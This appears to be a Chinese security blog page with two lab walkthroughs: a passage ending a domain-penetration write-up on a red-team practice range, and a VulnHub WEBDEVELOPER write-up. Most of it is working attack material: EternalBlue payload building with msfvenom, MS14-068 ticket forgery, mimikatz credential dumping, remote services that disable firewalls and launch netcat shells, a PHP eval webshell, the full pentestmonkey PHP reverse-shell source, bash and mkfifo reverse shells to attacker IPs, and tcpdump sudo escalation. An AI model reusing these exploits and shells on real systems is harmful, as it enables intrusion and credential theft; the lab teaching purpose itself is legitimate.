time=0.829 ms发现了另外两台靶机,写入端口扫描工具,把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果,第二个机器扫不出来结果,大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试,135端口开启,代理成功!!proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看,大概率是一个Windows服务器,还开着一个http端口,访问一下看看,报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧,是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上,那么就需要配置端口转发,服务器靶机执行如下命令,我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了,没有用成功,感兴趣的可以试试(192.168.183.149是我的win7地址,中途恢复了快照几次),另外下面这个生成了两个payload,因为目前我们还不知道目标是x86还是x64的操作系统,所以生成了两个,然后合并成一个,这样就可以双利用了(注意要多打几次,否则可能利用不成功或者造成蓝屏)git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p Windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p Windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息,这里我没有画,稍微注意一下dns的地址,是192.168.183.130ipconfig /all查看域内用户,和本机用户,本机用户已经是最高system权限了,但是呢不在域用户列表中通过ping就可以获取目标IP信息啦,并且呢我们可以发现,这个地址是和dns地址一样的查看administrators组的成员如果没有密码,那就是目标靶机没有登录,需要登录一下,这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为:S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权,伪造黄金票据,获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控,连接成功!通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡(ubuntu)因为只有它出网:wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7,由于cmd没有curl和wget等命令,但是测试了certutil可以使用,那么就用这个从web服务器下载下来,win7:certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机,获取主机密码,将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码!!开启远程连接放行TCP端口3389,前面已经关闭了防火墙,这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录,需要重启一下,会发现获取不到挂载的域控目录信息了,重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理,设置socks5连接kali的proxychains端口此时就可以用Windows的远程连接了远程连接成功!成功拿下域控主机远程访问权限!至此,渗透结束,当然还可以继续渗透,清理操作日志,也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来,域控主机也是存在永恒之蓝漏洞的,然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境:由三台主机组成的域渗透环境(Ubuntu Web服务器、Windows域成员机、Windows域控服务器)网络拓扑: 外网段:10.10.10.0/24 内网段:192.168.183.0/24 核心目标:从外网突破至内网,获取域控(DC)权限。 二、渗透测试流程阶段一:外网打点 主机发现 使用arp-scan探测内网存活主机,定位Web服务器(10.10.10.131)。 端口扫描发现开放服务: 2001端口:Apache Struts2服务 2002端口:Tomcat管理界面 2003端口:phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令,获取Docker容器内Root权限,确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP Webshell,获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell,因环境限制未成功。 阶段二:内网横向移动 权限维持与逃逸 Docker逃逸(特权模式) 挂载宿主机磁盘至容器路径,通过写入SSH公钥或计划任务反弹Shell,获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机:192.168.183.128(Win7)、192.168.183.130(DC) 使用proxychains+frp搭建Socks代理,实现内网流量转发。 域成员机渗透(192.168.183.128) MS17-010永恒之蓝漏洞利用 生成混合Payload,通过Metasploit框架获取System权限Shell。 信息收集 域名称:DEMO.com 域用户:douser/Dotest123 域管理员组:Administrator(未直接暴露) 域控提权(192.168.183.130) MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录,上传NC反弹Shell。 关闭防火墙,创建远程服务执行Payload,获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离,特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议(SMBv1),MS17-010补丁未安装。 域用户权限过高,允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本,禁用PUT方法。 phpMyAdmin限制访问IP,启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式,启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量(如永恒之蓝攻击特征)。 域安全策略优化 安装MS17-010补丁,关闭SMBv1协议。 实施最小权限原则,定期审计域用户权限。 启用LAPS(本地管理员密码解决方案),防止密码复用。 五、附录 渗透工具清单 漏洞扫描:Nmap、Nikto 漏洞利用:MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动:Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方:泷羽Sec安全团队 日期:2025年2月16日往期推荐ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】FALL,wfuzz参数模糊测试【oscp】超长攻击链,TommyBoy1dot0——过年快乐!【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
2025年05月18日
1,183 阅读
0 评论
0 点赞
2025-05-18
WEBDEVELOPER,tcpdump提权
【oscp】WEBDEVELOPER,tcpdump提权本次靶机为web-developer靶机下载地址:https://www.vulnhub.com/entry/web-developer-1,288/常规操作,主机发现,80快速探测全端口syn扫描,从扫描结果来看,本次靶机考验的是利用80网页的信息尝试登录sshdirb目录扫描,看目录结构是一个wordpress的网页应用程序可能存在的用户wordpress版本信息,4.9.8利用msf的top100的密码字典,进行爆破(失败)wpscan --url http://192.168.111.201/ -e u -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt那么就利用版本漏洞,但是这些都是插件类的,无法绕过密码继续信息收集,刚刚目录扫描出来的结果流量分析wordpress登录的时候基本都是post数据包,我们分析post请求的数据包就行了,得到用户和密码,Form item: "log" = webdeveloper / Te5eQg&4sBS!Yr$)wf%(DcAd登录成功版本确实是4.9.8,这时候就可以看刚刚的漏洞检索的结果了(没找到任何信息)尝试修改默认主题 Twenty Seventeen 的404.php,简单理解英文就是不允许修改(因为此主题已经激活了,需要取消激活)点击右上角的切换主题,修改另一个的404.php,是可以修改成功的 <?php @eval($_POST[cmd]);?>切换到主题页面,进行激活一句话木马不行那么就尝试php的反弹shell,源码如下(kali的/usr/share/webshells/php目录下)<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.111.128'; // CHANGE THIS $port = 6666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>修改404源码后访问任意不存在的文章,即可反弹。例如http://192.168.111.201/index.php/2018/10/30/1111-111112213/这个机器上没有python2,只有3,创建一个交互式shellpython3 -c "import pty; pty.spawn('/bin/bash');"系统信息收集隐藏文件查看,和suid文件的信息收集结果有mysql的进程信息,那么尝试获取mysql的密码ps -aux | grep mysql # 查看进程信息我们切换到网站根目录,查看wordpress的数据库配置文件wp-config.php得到账号密码username : webdeveloper password : MasterOfTheUniversemysql用户表如下,并没有任何的利用信息尝试ssh连接,连接成功sudo -ltcpdump 提权 ,提权失败,TF表示临时文件的意思,需要你手动设置一个可执行的文件COMMAND='/bin/bash' TF="/tmp/shell" # 一个临时的二进制文件 echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root这里要注意一下,捕获流量包的时候,状态是一直停留在这个界面的,抓包超时可以尝试切换一下网卡查看网卡信息命令如下,切换一个网卡eth0,为了查看回显,把命令改为idCOMMAND='id' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root # 这里重新指定了一个网卡为eth0可以看到id输出得结果为root,尝试获取shell把命令修改为 /bin/bashCOMMAND='/bin/bash' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 失败了能够执行命令,但是普通的终端行不通,那么就反弹shellCOMMAND='/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root nc也没有-e选项那么试试如下命令COMMAND='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 反弹成功但是无法执行命令都不行的话,那么还记得我们之前修改的那个404.php,反弹shell的文件嘛COMMAND='php /var/www/html/wp-content/themes/twentyfifteen/404.php' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 提权成功!这个靶场主要是泄露了大鲨鱼的流量包,造成密码信息泄露,然后通过修改主题文件的php文件,反弹shell,然后通过正在运行的mysql服务,查看站点的mysql密码,进一步猜测ssh密码就是mysql的密码,最后通过sudo+tcpdump进行提权。往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结Linux中Find命令也能提权?提权方式一文通透【渗透测试】Linux隐身登录
2025年05月18日
1,193 阅读
0 评论
0 点赞
1
...
11
12
13
...
16